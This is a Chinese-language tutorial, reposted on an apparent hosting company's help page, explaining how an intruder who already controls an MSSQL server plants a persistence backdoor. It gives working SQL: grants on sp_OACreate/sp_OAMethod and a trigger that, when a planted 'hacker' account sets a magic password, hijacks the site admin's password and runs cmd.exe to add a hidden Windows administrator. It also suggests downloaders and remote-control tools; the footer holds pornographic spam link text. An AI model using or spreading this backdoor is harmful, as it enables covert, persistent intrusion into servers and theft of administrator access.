1. <var id="fe6gj"></var>

    <rp id="fe6gj"><nav id="fe6gj"></nav></rp>

    <noframes id="fe6gj"><cite id="fe6gj"></cite>

    <ins id="fe6gj"><button id="fe6gj"><p id="fe6gj"></p></button></ins>
    1. <tt id="fe6gj"><i id="fe6gj"><sub id="fe6gj"></sub></i></tt>
        始創于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊有禮 登錄
        • 掛牌上市企業
        • 60秒人工響應
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補償
        您的位置: 網站首頁 > 幫助中心>文章內容

        基于SQL觸發器的服務器后門

        發布時間:  2012/8/11 17:34:17

        很多東西如果不經常去用,沉積在腦袋里的東西就會慢慢沉寂.這個手法很久以前就存在了.昨天寫代碼的時候不得不用到觸發器實現某些功能,才想起來利用這個自從觸發器功能被開發出來就存在的后門,mssql里其實可以放置很多后門,比如在sql里創建一個始終存在的遠程連接之類,當然了,今天的題目是觸發器,其他的暫且放在一邊.

        這個后門其實可用度極廣,通常管理員會把主要精力放在查詢系統用戶,或者是否有黑客添加了sql用戶等狀態的查詢上,然而對某些庫的權限做出了改動,往往不是他們注意到的重點,我們利用的也正是這一點.

        假設我已經拿到一臺數據庫服務器,這時我們當然可以對數據庫完全操作,我們首先需要對master表里的某些我們需要使用的擴展存儲過程作出修改,這里當然要先用SA身份來執行:
         

         

        grant execute on master..sp_OACreate to guest
        grant execute on master..sp_oamethod to guest

        語句都很簡單,僅僅是對sp_oamethod賦予guest組用戶的執行權限,這里由于SQL的特殊機制(我這里是SQL2000 SP4),即使我們賦予了XP_CMDSHELL的執行權限,依然無法在普通用戶下運行,若是打算使用,猜想應該要重新修改xplog70.dll并創建存儲過程,這是大牛該做的事,與我們無關.暫且略過.

        雖然網站和數據庫分離的狀況很常見,我們這里先說不分離的時候,我們拿到數據庫服務器權限,這里當然可以隨意查看網站代碼,我以本機為環境給大家比較直觀的展示.

        存在一個admin表,是存放用戶帳戶的地方,當然了,可以是user或者其他表,只是給出一個演示,結構如下:
         

         

        通常我們以自身的帳戶登陸網站后,都會提供密碼修改的服務,我們這里僅以這點來演示,其他方式可以根據實際情況自行研究.我假設我注冊了一個用戶名為hacker的用戶(這里用戶名越特殊越好,萬一帳戶被刪除,別人搶注的幾率也低),我想通過這里的密碼修改來做一個系統后門,可以先在SQL創建一個觸發器,內容如下:
         

        CREATE TRIGGER [shell] ON [admin] 
        for update
        AS
        DECLARE @password nvarchar(256)
        select @password=password   FROM Inserted where username='hacker'
        IF (@password='backdoor')
        BEGIN
        update admin set name=password,password='hacker' where username='admin'
        declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
        sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user
        huangzi huangzi /add & net localgroup administrators huangzi /add'
        END

        當用戶名為hacker這個用戶把密碼修改為backdoor的時候(這里不要照貓畫虎,我這里密碼直接進的數據庫沒有經過加密,一般的網站代碼會把密碼經過加密再寫進數據庫,可能是md5或者其他加密手段,就需要修改一下了),實現2個功能:
        1. 用戶名為admin的用戶原來的密碼被保存在name字段里,而且新密碼為hacker,這樣我們就可以用管理員的帳戶登陸進去,然后傳shell或者做其他事,使用完畢以后再把密碼修改回來,我們一開始就保存了原始密碼,當然恢復起來很簡單.這樣的操作主要用于數據庫和網站分離時,當然如果不分離的話,下面第2個功能實際上可以做更多的事

        2.使用sp_oacreate和sp_oamethod創建一個新的用戶名和密碼皆為huangzi的管理員帳戶,這里可以做許多變化,自行研究,這里僅僅是給出方法.

        關于代碼的部分基本已經陳述完畢,給出演示圖感性認識一下:

        我沒有觸發條件以前:
         

         

         

         

         

         

        隨便修改下密碼,但不觸發條件:
         

         

         

         

         

         

        接下來是把用戶hacker的密碼修改為backdoor,觸發了條件
         

         

         

          

         

         

        可以看到,管理員admin的原始密碼被寫進了name字段,現在的密碼為hacker,更重要的是,系統用戶已經添加進去了.

        如果數據庫和網站分離的話,可以上網的話比較好辦,寫下載者上遠控或者端口轉發出來.不可上網的話,我們之前修改了管理員的密碼可以進后臺看看有沒有機會,當然了變化很多不是一時半會能講完的,關鍵看環境,再決定手法.


        本文出自:億恩科技【www.endtimedelusion.com】

        服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

      1. 您可能在找
      2. 億恩北京公司:
      3. 經營性ICP/ISP證:京B2-20150015
      4. 億恩鄭州公司:
      5. 經營性ICP/ISP/IDC證:豫B1.B2-20060070
      6. 億恩南昌公司:
      7. 經營性ICP/ISP證:贛B2-20080012
      8. 服務器/云主機 24小時售后服務電話:0371-60135900
      9. 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
      10. 專注服務器托管17年
        掃掃關注-微信公眾號
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區翠竹街1號總部企業基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
          0
         
         
         
         

        0371-60135900
        7*24小時客服服務熱線

         
         
        av不卡不卡在线观看_最近2018年中文字幕_亚洲欧美一区二区三区_一级A爱做片免费观看国产_日韩在线中文天天更新_伊人中文无码在线